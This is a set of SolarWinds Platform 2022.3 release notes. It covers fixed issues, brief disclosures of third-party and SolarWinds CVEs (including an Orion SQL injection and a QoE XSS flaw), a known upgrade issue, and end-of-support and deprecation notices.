*   Before updating from Orion Platform 2020.2.6 and earlier to SolarWinds Platform 2022.3, make sure the database user you use to connect the SQL Server hosting your NTA Flow Storage database and Log Analyzer database has the **db create** privilege. Without this privilege, the update will not complete.
    

**Fixed issues**

Return to top

SolarWinds Platform 2022.3 fixes the following issues.

 

Case Number

Description

598596

An IP SLA Packet Loss view performance issue was addressed.

856512

An issue with System.Reactive deadlock after HA failover was addressed.

N/A

An issue where IP addresses for WMI interfaces were not displayed in the Details widget was addressed.

816988, 845983, 903096, 916413, 993175, 1026976

An issue with virtual machine latency and VIM datastore latency was addressed.

869953

An issue where SolarWinds Platform agent couldn't stop polling if unmanaged and remanaged was addressed.

1011473

An issue where alerts were not loading in the Alerts view was addressed.

897304, 1053919

An issue with losing SIDs for accounts was addressed.

870490

An issue where Database Maintenance did not unsubscribe when finished was addressed.

786962, 944247

An issue with SolarWinds Platform agents not responding was addressed.

845580, 861387, 908421

An issue with IP SLA entities on SolarWinds Platform Maps was addressed.

785828, 814974, 1041333, 1041944, 1060860

An issue with the status of groups/maps on SolarWinds Platform Maps was addressed.

741638

An issue with degrading performance of multi-load widgets was addressed.

618469, 785900, 828771, 839335, 895550, 920254, 1017272, 1024005, 1067887, 1076798

An issue where SolarWinds users without an explicitly defined Windows account cannot access SWQL Studio was addressed.

576343, 608927, 741638

An issue where deadlocks on SolarWinds Platform Events require index was addressed.

N/A

The issue with upgrades failing on files locked by Windows services, such as Windows Event Log when you upgrade SolarWinds Platform 2022.2 to SolarWinds Platform 2022.3 RC1 was resolved.

N/A

The issue with upgrades failing on SolarWinds Administration Service issues when upgrading SolarWinds Platform 2022.2 to SolarWinds Platform 2022.3 RC1 was resolved.

N/A

The issue with upgrades failing due to JMX Bridge service issues when you upgrade Additional Web Server for SolarWinds Platform 2022.2 to SolarWinds Platform 2022.3 RC1 was addressed.

N/A

The issue with the list of available objects not loading when you create a group selecting individual objects, save it and then want to add members to the group on SolarWinds Platform 2022.3 RC1 was resolved.

**CVEs**

SolarWinds would like to thank our Security Researchers below for reporting on the issue in a responsible manner and working with our security, product, and engineering teams to fix the vulnerability.

**Third-party CVEs**

    

CVE-ID

Vulnerability Title

Description

Severity

Credit

CVE-2018-1285

Vulnerable log4net versions

Apache log4net versions before 2.0.10 do not disable XML external entities when parsing log4net configuration files. This allows for XXE-based attacks in applications that accept attacker-controlled log4net configuration files.

Medium

N/A

CVE-2020-11022,

CVE-2020-11023

jQuery XSS vulnerability

In jQuery versions before 3.5.0, HTML from untrusted sources to one of jQuery's DOM manipulation methods may execute an untrusted code even after sanitization.

Medium

N/A

CVE-2022-0778

Open SSL vulnerability

The BN_mod_sqrt() function, which computes a modular square root, contains a bug that can cause it to loop forever for non-prime moduli.

High

N/A

**SolarWinds CVEs**

    

CVE-ID

Vulnerability Title

Description

Severity

Credit

CVE-2022-36961

Orion SQL Injection Privilege Escalation

An Orion component is vulnerable to a SQL Injection. An authenticated attacker could leverage this for privilege escalation or remote code execution.

High

N/A

CVE-2022-36965

Stored and DOM XSS attack in QoE applications

Insufficient sanitization of inputs in the QoE application input field could lead to stored and DOM-based XSS attack.

High

Shashank Chaurasia

**Known issues**

Return to top

N/A / Scalability engines are not updatable through centralized upgrade from SolarWinds Platform 2022.3 RC2 to 2022.3 GA

**Issue:** When running a centralized upgrade from SolarWinds Platform 2022.3 RC2 to SolarWinds Platform 2022.3 GA, the upgrade fails with the following message: One or more servers failed to connect or are not updatable.

**Work-around**: Upgrade the main polling engine, and then upgrade scalability engines. You can use the centralized upgrade.

**End of support**

Return to top

This version of SolarWinds Platform no longer supports the following platforms and features.

 

Type

Details

Remote Office Poller (ROP)

As of 2022.3, Remote Office Pollers are no longer sold.

SQL Server 2012 and SQL Server 2014

As of 2022.3, SolarWinds Platform only supports SQL Server 2016 SP1 and later. See SolarWinds Platform 2022.3 System Requirements.

SQL Server Express

As of 2022.3, Express editions of supported SQL Server versions are not supported for production environments. You can use SQL Express only for evaluation purposes.

Syslog Viewer

As of 2022.3, the stand-alone Syslog Viewer is no longer available on the SolarWinds Platform server. Use the Log Viewer in the SolarWinds Platform Web Console.

SNMP Trap Viewer

As of 2022.3, the stand-alone SNMP Trap Viewer is no longer available on the SolarWinds Platform server. Use the Log Viewer in the SolarWinds Platform Web Console.

Legacy Orion Report Writer

Legacy Orion Report Writer and tools related to legacy reports were removed in SolarWinds Platform 2022.2 and are no longer available in 2022.3.

*   Legacy reports are not available anywhere.
*   All tools related to legacy reports, such as Legacy Report Migration Tool or Report Writer Desktop Tool, are removed.
*   Widgets related to legacy reports are removed from the SolarWinds Platform Web Console.

**Deprecation notices**

Return to top

In SolarWinds Platform 2022.3, the following platforms and features are deprecated.

Deprecated platforms and features are still supported in the current release. However, they will be unsupported in a future release. Plan on upgrading deprecated platforms, and avoid using deprecated features. Customizations applied to a deprecated feature might not be migrated if a new feature replaces the deprecated one.

For information about supported versions of SolarWinds products, see Currently supported software versions.

 

Type

Details

Microsoft Windows Server 2012 R2

Windows Server 2012 R2 is deprecated as of this release and will not be supported in a future release.

SolarWinds recommends that you upgrade the operating system of your SolarWinds Platform server to Windows Server 2016 or later. See SolarWinds Platform 2022.3 System Requirements.

**Legal notices**

Return to top

© 2022 SolarWinds Worldwide, LLC. All rights reserved.

This document may not be reproduced by any means nor modified, decompiled, disassembled, published or distributed, in whole or in part, or translated to any electronic medium or other means without the prior written consent of SolarWinds. All right, title, and interest in and to the software, services, and documentation are and shall remain the exclusive property of SolarWinds, its affiliates, and/or its respective licensors.

SOLARWINDS DISCLAIMS ALL WARRANTIES, CONDITIONS, OR OTHER TERMS, EXPRESS OR IMPLIED, STATUTORY OR OTHERWISE, ON THE DOCUMENTATION, INCLUDING WITHOUT LIMITATION NONINFRINGEMENT, ACCURACY, COMPLETENESS, OR USEFULNESS OF ANY INFORMATION CONTAINED HEREIN. IN NO EVENT SHALL SOLARWINDS, ITS SUPPLIERS, NOR ITS LICENSORS BE LIABLE FOR ANY DAMAGES, WHETHER ARISING IN TORT, CONTRACT OR ANY OTHER LEGAL THEORY, EVEN IF SOLARWINDS HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

The SolarWinds, SolarWinds & Design, Orion, and THWACK trademarks are the exclusive property of SolarWinds Worldwide, LLC or its affiliates, are registered with the U.S. Patent and Trademark Office, and may be registered or pending registration in other countries. All other SolarWinds trademarks, service marks, and logos may be common law marks or are registered or pending registration. All other trademarks mentioned herein are used for identification purposes only and are trademarks of (and may be registered trademarks) of their respective companies.

CVE-2022-36965: SolarWinds Platform 2022.3  Release Notes

A verb used in Orion was vulnerable to SQL Injection, an authenticated attacker could leverage this for privilege escalation or remote code execution.

**Summary**

A component of Orion Platform was found to be vulnerable to SQL Injection attacks. An authenticated attacker could leverage this for privilege escalation or remote code execution.

**Affected Products**

*   Orion Platform 2022.2 and earlier

**Fixed Software Release**

*   SolarWinds Platform 2022.3

Tag

#sql